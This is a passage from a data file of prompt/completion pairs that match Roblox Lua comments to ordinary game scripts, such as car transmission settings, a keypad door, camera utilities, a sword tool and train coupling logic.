i,v in pairs(weldList) do\n\t\tv.Part0.Anchored = false\n\t\tv.Part1.Anchored = false\n\tend\nend\n"} +{"prompt": "--- Replace with true/false to force the chat type. Otherwise this will default to the setting on the website.", "completion": "\nmodule.BubbleChatEnabled = true\nmodule.ClassicChatEnabled = true"} +{"prompt": "--[[Flip]]", "completion": "\n\n\tfunction Flip()\n\t\t--Detect Orientation\n\t\tif (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then\n\t\t\tFlipWait=tick()\n\t\t\t\n\t\t--Apply Flip\n\t\telse\n\t\t\tif tick()-FlipWait>=3 then\n\t\t\t\tFlipDB=true\n\t\t\t\tlocal gyro = car.DriveSeat.Flip\n\t\t\t\tgyro.maxTorque = Vector3.new(10000,0,10000)\n\t\t\t\tgyro.P=3000\n\t\t\t\tgyro.D=500\n\t\t\t\twait(1)\n\t\t\t\tgyro.maxTorque = Vector3.new(0,0,0)\n\t\t\t\tgyro.P=0\n\t\t\t\tgyro.D=0\n\t\t\t\tFlipDB=false\n\t\t\tend\n\t\tend\n\tend\n\n\n"} +{"prompt": "-- Sunset time", "completion": "\nsunset_h1,sunset_m1 = 17,20\t--start\nsunset_h2,sunset_m2 = 18,50\t-- end\nlocal sunset_time1 = (sunset_h1 + (sunset_m1/60)) * 60\nlocal sunset_time2 = (sunset_h2 + (sunset_m2/60)) * 60\n"} +{"prompt": "--\t\t\tlocal frame = Instance.new(\"Frame\", game.Workspace.PlotDisplay.SurfaceGui)\n--\t\t\tframe.Name = tostring(x) .. \"_\" .. tostring(z)\n--\t\t\tframe.Size = UDim2.new(1/stepsX,0,1/stepsZ,0)\n--\t\t\tframe.Position = UDim2.new(x/stepsX,0,z/stepsZ,0)\n--\t\t\tframe.BackgroundColor3 = Color3.new(0,1,0)", "completion": "\n\t\tend\n\tend\nend\n\nlocal function nodeInList(list, node)\n\tfor _, otherNode in pairs(list) do\n\t\tif node.X == otherNode.X and node.Z == otherNode.Z and otherNode.f <= node.f then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n"} +{"prompt": "-------------------Utilities-------------------", "completion": "\n\n\t\tif(key == keys.camset.code) and on == true and cam_change == true then--Camera Setting\n\t\t\t\tif(camset == 0) then\n\t\t\t\tgame.Workspace.CurrentCamera.CameraType = Enum.CameraType.Attach\n\t\t\t\tcamset = 1\n\t\t\t\telseif(camset == 1) then\n\t\t\t\tgame.Workspace.CurrentCamera.CameraType = Enum.CameraType.Custom\n\t\t\t\tcamset = 0 \n\t\t\t\tend\n\t\t\tend\n"} +{"prompt": "--[=[\n\t@return Trove\n\tConstructs a Trove object.\n]=]", "completion": "\nfunction Trove.new()\n\tlocal self = setmetatable({}, Trove)\n\tself._objects = {}\n\tself._cleaning = false\n\treturn self\nend\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Auto\", \"Semi\", \"Manual\"}\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"Speed\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 2.36\t\t\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t3.70\t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t3.53\t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t1.94\t\t,\n\t\t--[[ 3 ]]\t\t1.28\t\t,\n\t\t--[[ 4 ]]\t\t.93\t\t,\n\t\t--[[ 5 ]]\t\t0.71\t\t,\n\t\t--[[ 6 ]]\t\t0.54\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1.5\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "--created by\n------------------------------------------\n--Clear And Enter", "completion": "\n\nfunction Clear()\nprint(\"Cleared\")\nInput = \"\"\nend\n\nscript.Parent.Clear.ClickDetector.MouseClick:connect(Clear)\n\n\n\n\nfunction Enter()\nif Input == Code then\nprint(\"Entered\")\nInput = \"\"\n\nlocal door = script.Parent.Parent.Door\n\ndoor.CanCollide = false\ndoor.Transparency = door.Transparency + 0.1\nwait(0.1)\ndoor.Transparency = door.Transparency + 0.1\nwait(0.1)\ndoor.Transparency = door.Transparency + 0.1\nwait(0.1)\ndoor.Transparency = door.Transparency + 0.1\nwait(0.1)\ndoor.Transparency = door.Transparency + 0.1\nwait(0.1)\ndoor.Transparency = door.Transparency + 0.1\nwait(0.1)\ndoor.Transparency = door.Transparency + 0.1\nwait(0.1)\ndoor.Transparency = 0.8\nwait(3)--\ndoor.Transparency = door.Transparency - 0.1\nwait(0.1)\ndoor.Transparency = door.Transparency - 0.1\nwait(0.1)\ndoor.Transparency = door.Transparency - 0.1\nwait(0.1)\ndoor.Transparency = door.Transparency - 0.1\nwait(0.1)\ndoor.Transparency = door.Transparency - 0.1\nwait(0.1)\ndoor.Transparency = door.Transparency - 0.1\nwait(0.1)\ndoor.Transparency = door.Transparency - 0.1\nwait(0.1)\ndoor.Transparency = 0\ndoor.CanCollide = true\n\n\n\nreturn end\nInput = \"\"\nprint(\"Wrong Code\")\nend\n\n\n\n\nscript.Parent.Enter.ClickDetector.MouseClick:connect(Enter)\n"} +{"prompt": "--[[ Gamepad Support ]]", "completion": "--\nlocal THUMBSTICK_DEADZONE = 0.2\n"} +{"prompt": "---------------\n--// Code\n---------------", "completion": "\nwhile true do\n\ttask.wait()\n\tcount1 = count1 + 0.001*speed\n\t\n\n\tif count1 > 1 then\n\t\tcount1 = 0\n\tend\t\n\t\n\tscript.Parent.Color = Color3.fromHSV(count1,1,1)\nend\n\t\t\n"} +{"prompt": "-- Use module to insert latest tool", "completion": "\nlocal GetLatestTool = require(580330877);\nif not GetLatestTool then\n\treturn;\nend;\n"} +{"prompt": "-- UI Display Screens", "completion": "\nlocal curScreen = 1\nlocal screens = {lobbyScreen1, lobbyScreen2, lobbyScreen3}\n"} +{"prompt": "-- Model name", "completion": "\nprint(\"Blackeyei's Office Light Loaded\")\n"} +{"prompt": "-- Return the number of common items that precede in reverse direction.\n-- The length of what Myers paper calls a \u201csnake\u201d in a reverse path.", "completion": "\nlocal function countCommonItemsR(\n\taStart: number,\n\taIndex: number,\n\tbStart: number,\n\tbIndex: number,\n\tisCommon: IsCommon\n): number\n\tlocal nCommon = 0\n\twhile aStart <= aIndex and bStart <= bIndex and isCommon(aIndex, bIndex) do\n\t\taIndex = aIndex - 1\n\t\tbIndex = bIndex - 1\n\t\tnCommon = nCommon + 1\n\tend\n\treturn nCommon\nend\n"} +{"prompt": "--[[\n\tRegisters the creation of an object which can be used as a dependency.\n\n\tThis is used to make sure objects don't capture dependencies originating\n\tfrom inside of themselves.\n]]", "completion": "\n\nlocal Package = script.Parent.Parent\nlocal PubTypes = require(Package.PubTypes)\nlocal sharedState = require(Package.Dependencies.sharedState)\n\nlocal initialisedStack = sharedState.initialisedStack\n\nlocal function initDependency(dependency: PubTypes.Dependency)\n\tlocal initialisedStackSize = sharedState.initialisedStackSize\n\n\tfor index, initialisedSet in ipairs(initialisedStack) do\n\t\tif index > initialisedStackSize then\n\t\t\treturn\n\t\tend\n\n\t\tinitialisedSet[dependency] = true\n\tend\nend\n\nreturn initDependency\n"} +{"prompt": "--Star Dust--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal prtc = nil\n\tlocal prtc2 = nil\n\t\n\tlocal function Start()\n\t\tprtc = script.Stars:clone()\n\t\tprtc.Parent = source_part\n\t\tprtc2 = script.Space:clone()\n\t\tprtc2.Parent = source_part\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\t\tif prtc ~= nil then\n\t\t\tprtc:destroy()\n\t\t\tprtc = nil\n\t\tend\n\t\tif prtc2 ~= nil then\n\t\t\tprtc2:destroy()\n\t\t\tprtc2 = nil\n\t\tend\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "-- This function converts 4 different, redundant enumeration types to one standard so the values can be compared", "completion": "\nfunction CameraUtils.ConvertCameraModeEnumToStandard(enumValue)\n\tif enumValue == Enum.TouchCameraMovementMode.Default then\n\t\treturn Enum.ComputerCameraMovementMode.Follow\n\tend\n\n\tif enumValue == Enum.ComputerCameraMovementMode.Default then\n\t\treturn Enum.ComputerCameraMovementMode.Classic\n\tend\n\n\tif enumValue == Enum.TouchCameraMovementMode.Classic or\n\t\tenumValue == Enum.DevTouchCameraMovementMode.Classic or\n\t\tenumValue == Enum.DevComputerCameraMovementMode.Classic or\n\t\tenumValue == Enum.ComputerCameraMovementMode.Classic then\n\t\treturn Enum.ComputerCameraMovementMode.Classic\n\tend\n\n\tif enumValue == Enum.TouchCameraMovementMode.Follow or\n\t\tenumValue == Enum.DevTouchCameraMovementMode.Follow or\n\t\tenumValue == Enum.DevComputerCameraMovementMode.Follow or\n\t\tenumValue == Enum.ComputerCameraMovementMode.Follow then\n\t\treturn Enum.ComputerCameraMovementMode.Follow\n\tend\n\n\tif enumValue == Enum.TouchCameraMovementMode.Orbital or\n\t\tenumValue == Enum.DevTouchCameraMovementMode.Orbital or\n\t\tenumValue == Enum.DevComputerCameraMovementMode.Orbital or\n\t\tenumValue == Enum.ComputerCameraMovementMode.Orbital then\n\t\treturn Enum.ComputerCameraMovementMode.Orbital\n\tend\n\n\tif FFlagUserCameraToggle then\n\t\tif enumValue == Enum.ComputerCameraMovementMode.CameraToggle or\n\t\t\tenumValue == Enum.DevComputerCameraMovementMode.CameraToggle then\n\t\t\treturn Enum.ComputerCameraMovementMode.CameraToggle\n\t\tend\n\tend\n\n\t-- Note: Only the Dev versions of the Enums have UserChoice as an option\n\tif enumValue == Enum.DevTouchCameraMovementMode.UserChoice or\n\t\tenumValue == Enum.DevComputerCameraMovementMode.UserChoice then\n\t\treturn Enum.DevComputerCameraMovementMode.UserChoice\n\tend\n\n\t-- For any unmapped options return Classic camera\n\treturn Enum.ComputerCameraMovementMode.Classic\nend\n\nreturn CameraUtils\n\n"} +{"prompt": "--For Omega Rainbow Katana thumbnail to display a lot of particles.", "completion": "\nfor i, v in pairs(Handle:GetChildren()) do\n\tif v:IsA(\"ParticleEmitter\") then\n\t\tv.Rate = 20\n\tend\nend\n\nTool.Grip = Grips.Up\nTool.Enabled = true\n\nfunction IsTeamMate(Player1, Player2)\n\treturn (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)\nend\n\nfunction TagHumanoid(humanoid, player)\n\tlocal Creator_Tag = Instance.new(\"ObjectValue\")\n\tCreator_Tag.Name = \"creator\"\n\tCreator_Tag.Value = player\n\tDebris:AddItem(Creator_Tag, 2)\n\tCreator_Tag.Parent = humanoid\nend\n\nfunction UntagHumanoid(humanoid)\n\tfor i, v in pairs(humanoid:GetChildren()) do\n\t\tif v:IsA(\"ObjectValue\") and v.Name == \"creator\" then\n\t\t\tv:Destroy()\n\t\tend\n\tend\nend\n\nfunction Blow(Hit)\n\tif not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then\n\t\treturn\n\tend\n\tlocal RightArm = Character:FindFirstChild(\"Right Arm\") or Character:FindFirstChild(\"RightHand\")\n\tif not RightArm then\n\t\treturn\n\tend\n\tlocal RightGrip = RightArm:FindFirstChild(\"RightGrip\")\n\tif not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then\n\t\treturn\n\tend\n\tlocal character = Hit.Parent\n\tif character == Character then\n\t\treturn\n\tend\n\tlocal humanoid = character:FindFirstChildOfClass(\"Humanoid\")\n\tif not humanoid or humanoid.Health == 0 then\n\t\treturn\n\tend\n\tlocal player = Players:GetPlayerFromCharacter(character)\n\tif player and (player == Player or IsTeamMate(Player, player)) then\n\t\treturn\n\tend\n\tUntagHumanoid(humanoid)\n\tTagHumanoid(humanoid, Player)\n\thumanoid:TakeDamage(Damage)\t\nend\n\n\nfunction Attack()\n\tDamage = DamageValues.SlashDamage\n\tSounds.Slash:Play()\n\n\tif Humanoid then\n\t\tif Humanoid.RigType == Enum.HumanoidRigType.R6 then\n\t\t\tlocal Anim = Instance.new(\"StringValue\")\n\t\t\tAnim.Name = \"toolanim\"\n\t\t\tAnim.Value = \"Slash\"\n\t\t\tAnim.Parent = Tool\n\t\telseif Humanoid.RigType == Enum.HumanoidRigType.R15 then\n\t\t\tlocal Anim = Tool:FindFirstChild(\"R15Slash\")\n\t\t\tif Anim then\n\t\t\t\tlocal Track = Humanoid:LoadAnimation(Anim)\n\t\t\t\tTrack:Play(0)\n\t\t\tend\n\t\tend\n\tend\t\nend\n\nfunction Lunge()\n\tDamage = DamageValues.LungeDamage\n\n\tSounds.Lunge:Play()\n\t\n\tif Humanoid then\n\t\tif Humanoid.RigType == Enum.HumanoidRigType.R6 then\n\t\t\tlocal Anim = Instance.new(\"StringValue\")\n\t\t\tAnim.Name = \"toolanim\"\n\t\t\tAnim.Value = \"Lunge\"\n\t\t\tAnim.Parent = Tool\n\t\telseif Humanoid.RigType == Enum.HumanoidRigType.R15 then\n\t\t\tlocal Anim = Tool:FindFirstChild(\"R15Lunge\")\n\t\t\tif Anim then\n\t\t\t\tlocal Track = Humanoid:LoadAnimation(Anim)\n\t\t\t\tTrack:Play(0)\n\t\t\tend\n\t\tend\n\tend\t\n\t--[[\n\tif CheckIfAlive() then\n\t\tlocal Force = Instance.new(\"BodyVelocity\")\n\t\tForce.velocity = Vector3.new(0, 10, 0) \n\t\tForce.maxForce = Vector3.new(0, 4000, 0)\n\t\tDebris:AddItem(Force, 0.4)\n\t\tForce.Parent = Torso\n\tend\n\t]]\n\t\n\twait(0.2)\n\tTool.Grip = Grips.Out\n\twait(0.6)\n\tTool.Grip = Grips.Up\n\n\tDamage = DamageValues.SlashDamage\nend\n\nTool.Enabled = true\nLastAttack = 0\n\nfunction Activated()\n\tif not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then\n\t\treturn\n\tend\n\tTool.Enabled = false\n\tlocal Tick = RunService.Stepped:wait()\n\tif (Tick - LastAttack < 0.2) then\n\t\tLunge()\n\telse\n\t\tAttack()\n\tend\n\tLastAttack = Tick\n\t--wait(0.5)\n\tDamage = DamageValues.BaseDamage\n\tlocal SlashAnim = (Tool:FindFirstChild(\"R15Slash\") or Create(\"Animation\"){\n\t\tName = \"R15Slash\",\n\t\tAnimationId = BaseUrl .. Animations.R15Slash,\n\t\tParent = Tool\n\t})\n\t\n\tlocal LungeAnim = (Tool:FindFirstChild(\"R15Lunge\") or Create(\"Animation\"){\n\t\tName = \"R15Lunge\",\n\t\tAnimationId = BaseUrl .. Animations.R15Lunge,\n\t\tParent = Tool\n\t})\n\tTool.Enabled = true\nend\n\nfunction CheckIfAlive()\n\treturn (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false)\nend\n\nfunction Equipped()\n\tCharacter = Tool.Parent\n\tPlayer = Players:GetPlayerFromCharacter(Character)\n\tHumanoid = Character:FindFirstChildOfClass(\"Humanoid\")\n\tTorso = Character:FindFirstChild(\"Torso\") or Character:FindFirstChild(\"HumanoidRootPart\")\n\tif not CheckIfAlive() then\n\t\treturn\n\tend\n\tToolEquipped = true\n\tSounds.Unsheath:Play()\nend\n\nfunction Unequipped()\n\tTool.Grip = Grips.Up\n\tToolEquipped = false\nend\n\nTool.Activated:Connect(Activated)\nTool.Equipped:Connect(Equipped)\nTool.Unequipped:Connect(Unequipped)\n\nConnection = Handle.Touched:Connect(Blow)\n"} +{"prompt": "--[[**\n\tensures Lua primitive none type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.none = primitive(\"nil\")\nt[\"nil\"] = t.none\n"} +{"prompt": "-- TODO: Optimize all loops into a single thread", "completion": "\nwhile true do\n\tlocal dt = wait()\n\tSystem.Parkour:Update(dt)\nend\n"} +{"prompt": "-- Number of bullets in a clip", "completion": "\nlocal ClipSize = 30"} +{"prompt": "-- Water and sounds --", "completion": "\nlocal water = p.Water.Mesh\nlocal drainSound = p.Water.WaterDrainSound\nlocal bathSound = p.Tap.BathSound\nlocal showerSound = p.ShowerHead.Spout.ShowerSound\n"} +{"prompt": "--Player Manager", "completion": "\nseat.ChildAdded:connect(function(it)\n\tif it:IsA(\"Weld\") and it.Name == \"SeatWeld\" then\n\t\tSeatWeld = it\n\t\tlocal plr = game.Players:GetPlayerFromCharacter(it.Part1.Parent)\n\t\tif plr then\n\t\t\tlocal done = true\n\t\t\tif plr.PlayerGui:findFirstChild(\"Car\") then\n\t\t\t\tdone = false\n\t\t\tend\n\t\t\tif done then\n\t\t\t\tPlayer = plr\n\t\t\t\tlocal gui = car:Clone()\n\t\t\t\tgui.Frame.Seat.Value = seat\n\t\t\t\tgui.Parent = plr.PlayerGui\n\t\t\t\tgui.Frame.LocalScript.Disabled = false\n\t\t\t\twait(1)\n\t\t\t\tif not it.Parent then\n\t\t\t\t\tendit()\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif it.Part1.Parent:FindFirstChild(\"Humanoid\") then\n\t\t\t\t\tit.Part1.Parent.Humanoid.Jump = true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\nseat.ChildRemoved:connect(function(it)\n\tif it == SeatWeld then\n\t\tendit(true)\n\tend\nend)\n\nfunction endit(plr)\n\tSeatWeld = nil\n\tThrottle = 0\n\tReverser = 0\n\tupdatewheels()\n\tif plr then\n\t\tif Player and Player.PlayerGui:FindFirstChild(\"Car\") then\n\t\t\tPlayer.PlayerGui.Car:Destroy()\n\t\tend\n\t\tPlayer = nil\n\t\tif Bell and not BellPersistsAfterLeaving then\n\t\t\tscript.Parent.Locotrol:Fire({[\"Bell\"]=false})\n\t\tend\n\t\tif Horn then\n\t\t\tscript.Parent.Locotrol:Fire({[\"Horn\"]=false})\n\t\tend\n\tend\nend\n\nfunction FireLocotrol()\n\tscript.Parent.Locotrol:Fire({[\"Rev\"]=Reverser,[\"Th\"]=Throttle,[\"Origin\"]=seat}) --,[\"Br\"]=Brakef,[\"Origin\"]=seat})\nend\n\nfunction control(plr,tbl)\n\tif plr ~= Player then return end --print(\"plr is not Player\") return end\n\t\tif tbl[\"Rev\"] then\n\t\t\tif Player then\n\t\t\t\tReverser = tbl[\"Rev\"]\n\t\t\telse\n\t\t\t\t--print(\"no player in house\")\n\t\t\t\t--print(\"Origin is \"..tbl[\"Origin\"]:GetFullName())\n\t\t\t\tfor _,i in pairs ({FrontCoupler,RearCoupler}) do\n\t\t\t\t\tif tbl[\"Origin\"] == i.drive then\n\t\t\t\t\t\t--print(\"found our seat\")\n\t\t\t\t\t\tReverser = tbl[\"Rev\"] * (i.Reversed and -1 or 1)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tif tbl[\"Th\"] then\n\t\t\tThrottle = tbl[\"Th\"]\n\t\tend\n\t\tif tbl[\"Horn\"]~=nil then\n\t\t\tHorn = tbl[\"Horn\"]\n\t\t\tscript.Parent.Locotrol:Fire({[\"Horn\"]=tbl[\"Horn\"]})\n\t\tend\n\t\tif tbl[\"Bell\"]~=nil then\n\t\t\tBell = tbl[\"Bell\"]\n\t\t\tscript.Parent.Locotrol:Fire({[\"Bell\"]=tbl[\"Bell\"]})\n\t\tend\n\t\tif tbl[\"Engine\"]~=nil then\n\t\t\tEngine = tbl[\"Engine\"]\n\t\t\tscript.Parent.Locotrol:Fire({[\"Engine\"]=tbl[\"Engine\"]})\n\t\tend\n\t\tif tbl[\"Lights\"]~=nil then\n\t\t\tLights = tbl[\"Lights\"]\n\t\t\tscript.Parent.Locotrol:Fire({[\"Lights\"]=tbl[\"Lights\"]})\n\t\tend\n\t\tif tbl[\"Lights2\"]~=nil then --Added additional lights\n\t\t\tLights = tbl[\"Lights2\"]\n\t\t\tscript.Parent.Locotrol:Fire({[\"Lights2\"]=tbl[\"Lights2\"]})\n\t\tend\n\t\tif tbl[\"Lights3\"]~=nil then\n\t\t\tLights = tbl[\"Lights3\"]\n\t\t\tscript.Parent.Locotrol:Fire({[\"Lights3\"]=tbl[\"Lights3\"]})\n\t\tend\n\t\tif tbl[\"Lights4\"]~=nil then\n\t\t\tLights = tbl[\"Lights4\"]\n\t\t\tscript.Parent.Locotrol:Fire({[\"Lights4\"]=tbl[\"Lights4\"]})\n\t\tend\n\tupdatewheels()\n\tFireLocotrol()\nend\n\nscript.Parent.Controller.OnServerEvent:connect(function(plr,tbl)\n\tcontrol(plr,tbl)\nend)\n\nwait(1)\ngetwheels(script.Parent.Parent)\nupdatewheels()\nseat.Changed:connect(function()\t\n\tMAXIMUMSPEED=seat.MaxSpeed\n\tTORQUE=seat.Torque\n\tupdatewheels()\nend)\nworkspace.DescendantAdded:connect(function(it)\n\tfor _,i in pairs ({FrontCoupler,RearCoupler}) do\n\t\tspawn(function()\n\t\t\twait(0.5)\n\t\t\tif not it:IsA(\"ManualWeld\") then return end\n\t\t\tif it.Part1.Parent == i.model or it.Part0.Parent == i.model then\n\t\t\t\ti.weld = it\n\t\t\t\tif not i.coupledto and it.Parent then\n\t\t\t\t\tlocal them = ((it.Part0.Parent == i.model) and it.Part1.Parent or it.Part0.Parent)\n\t\t\t\t\ti.coupledto = them\n\t\t\t\t\tlocal themSeat = scopinggetDrive(them)\n\t\t\t\t\tif themSeat == seat then\n\t\t\t\t\t\t--print(\"oops found myself\")\n\t\t\t\t\t\tendit()\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\t\t\t\t\ti.drive = themSeat\n\t\t\t\t\t--print(i.drive:GetFullName())\n\t\t\t\t\tif not themSeat:FindFirstChild(\"SeatWeld\") then\n\t\t\t\t\t\twait(0.1)\n\t\t\t\t\t\tFireLocotrol()\n\t\t\t\t\tend\n\t\t\t\t\tlocal couplers = scopinggetcoupler(themSeat.Parent)\n\t\t\t\t\tlocal f,r = getclosestcoupler(couplers[1],couplers[2])\n\t\t\t\t\ti.Reversed = (i.front == (f == i.coupledto))\n\t\t\t\t\tif themSeat:FindFirstChild(\"Locotrol\") then\n\t\t\t\t\t\ti.GetControls = themSeat.Locotrol.Event:connect(function(tbl)\n\t\t\t\t\t\t\tlocal d = tick()\n\t\t\t\t\t\t\tif d-i.LastUpdate > 0.06 then\n\t\t\t\t\t\t\t\ti.LastUpdate = d\n\t\t\t\t\t\t\t\tif not seat:FindFirstChild(\"SeatWeld\") then\n\t\t\t\t\t\t\t\t\tcontrol(nil,tbl)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend)\n\t\t\t\t\tend\n\t\t\t\t\ti.WeldRemoved = it.AncestryChanged:connect(function(_,pr)\n\t\t\t\t\t\tif pr ~= workspace then\n\t\t\t\t\t\t\ti.WeldRemoved:disconnect()\n\t\t\t\t\t\t\tif i.GetControls then\n\t\t\t\t\t\t\t\ti.GetControls:disconnect()\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\ti.GetControls = nil\n\t\t\t\t\t\t\ti.drive = nil\n\t\t\t\t\t\t\ti.coupledto = nil\n\t\t\t\t\t\t\t--print(\"WeldRemoved!\")\n\t\t\t\t\t\t\tendit(true)\n\t\t\t\t\t\tend\n\t\t\t\t\tend)\n\t\t\t\t\t--print(\"Coupler all set up!\")\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\tend\nend)\nwait(5) --changed from 60 to 5 to avoid issues with coupler welds moving to workspace and give time for other scripts to update before moving to workspace.\nscript.Parent.Parent.Parent = workspace --this moves it to workspace, if coupled before wait time, it removes coupler welds.\n"} +{"prompt": "--TODO: investigate - does ordering matter here? need to check all the faces", "completion": "\nreturn {\n\t[Enum.NormalId.Front] = {\n\t\t{ 1, 1, -1 }, --v1 - top front right\n\t\t{ 1, -1, -1 }, --v2 - bottom front right\n\t\t{ -1, -1, -1 }, --v3 - bottom front left\n\t\t{ -1, 1, -1 }, --v4 - top front left\n\t},\n\t[Enum.NormalId.Back] = {\n\t\t{ 1, 1, 1 }, --v5 - top back right\n\t\t{ 1, -1, 1 }, --v6 - bottom back right\n\t\t{ -1, -1, 1 }, --v7 - bottom back left\n\t\t{ -1, 1, 1 }, --v8 - top back left\n\t},\n\t[Enum.NormalId.Left] = {\n\t\t{ -1, -1, -1 }, --v3 - bottom front left\n\t\t{ -1, 1, -1 }, --v4 - top front left\n\t\t{ -1, -1, 1 }, --v7 - bottom back left\n\t\t{ -1, 1, 1 }, --v8 - top back left\n\t},\n\t[Enum.NormalId.Right] = {\n\t\t{ 1, 1, -1 }, --v1 - top front right\n\t\t{ 1, -1, -1 }, --v2 - bottom front right\n\t\t{ 1, 1, 1 }, --v5 - top back right\n\t\t{ 1, -1, 1 }, --v6 - bottom back right\n\t},\n\t[Enum.NormalId.Top] = {\n\t\t{ 1, 1, -1 }, --v1 - top front right\n\t\t{ -1, 1, -1 }, --v4 - top front left\n\t\t{ 1, 1, 1 }, --v5 - top back right\n\t\t{ -1, 1, 1 }, --v8 - top back left\n\t},\n\t[Enum.NormalId.Bottom] = {\n\t\t{ 1, -1, -1 }, --v2 - bottom front right\n\t\t{ -1, -1, -1 }, --v3 - bottom front left\n\t\t{ 1, -1, 1 }, --v6 - bottom back right\n\t\t{ -1, -1, 1 }, --v7 - bottom back left\n\t},\n}\n"} +{"prompt": "-- Assign hotkeys for selection clearing", "completion": "\nAssignHotkey({ 'LeftShift', 'R' }, Support.Call(Selection.Clear, true));\nAssignHotkey({ 'RightShift', 'R' }, Support.Call(Selection.Clear, true));\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Resources\"));\nend)();\nreturn function(p1)\n\tlocal v1 = Instance.new(\"Part\");\n\tv1.Anchored = true;\n\tv1.CanCollide = false;\n\tv1.Transparency = 1;\n\tv1.Material = Enum.Material.SmoothPlastic;\n\tv1.CastShadow = false;\n\tv1.Size = Vector3.new();\n\tv1.CFrame = typeof(p1) == \"Vector3\" and CFrame.new(p1) or p1;\n\tv1.Name = \"host\";\n\tlocal v2 = Instance.new(\"Attachment\");\n\tv2.Parent = v1;\n\tv1.Parent = u1.GameDebris;\n\treturn v1, v2;\nend;\n"} +{"prompt": "-- Services", "completion": "\nMarketplaceService = Game:GetService 'MarketplaceService';\nHttpService = Game:GetService 'HttpService';\nWorkspace = Game:GetService 'Workspace';\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Semi\"}\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"RPM\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 3.21\t\t --\t[TRANSMISSION CALCULATIONS FOR NERDS]\n\tTune.Ratios\t\t\t= {\t\t\t --\t\tSPEED [SPS]\t = (Wheel diameter(studs) * pi(3.14) * RPM) / (60 * Gear Ratio * Final Drive * Multiplier)\n\t\t--[[Reverse]]\t5.000\t\t,--\t\tWHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier\n\t\t--[[Neutral]]\t0\t\t\t,\n\t\t--[[ 1 ]]\t\t3.519 \t,\n\t\t--[[ 2 ]]\t\t2.320\t\t,\n\t\t--[[ 3 ]]\t\t1.700\t\t,\n\t\t--[[ 4 ]]\t\t1.400\t\t,\n\t\t--[[ 5 ]]\t\t0.907\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1.5\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "--Get master control script", "completion": "\nlocal Player = 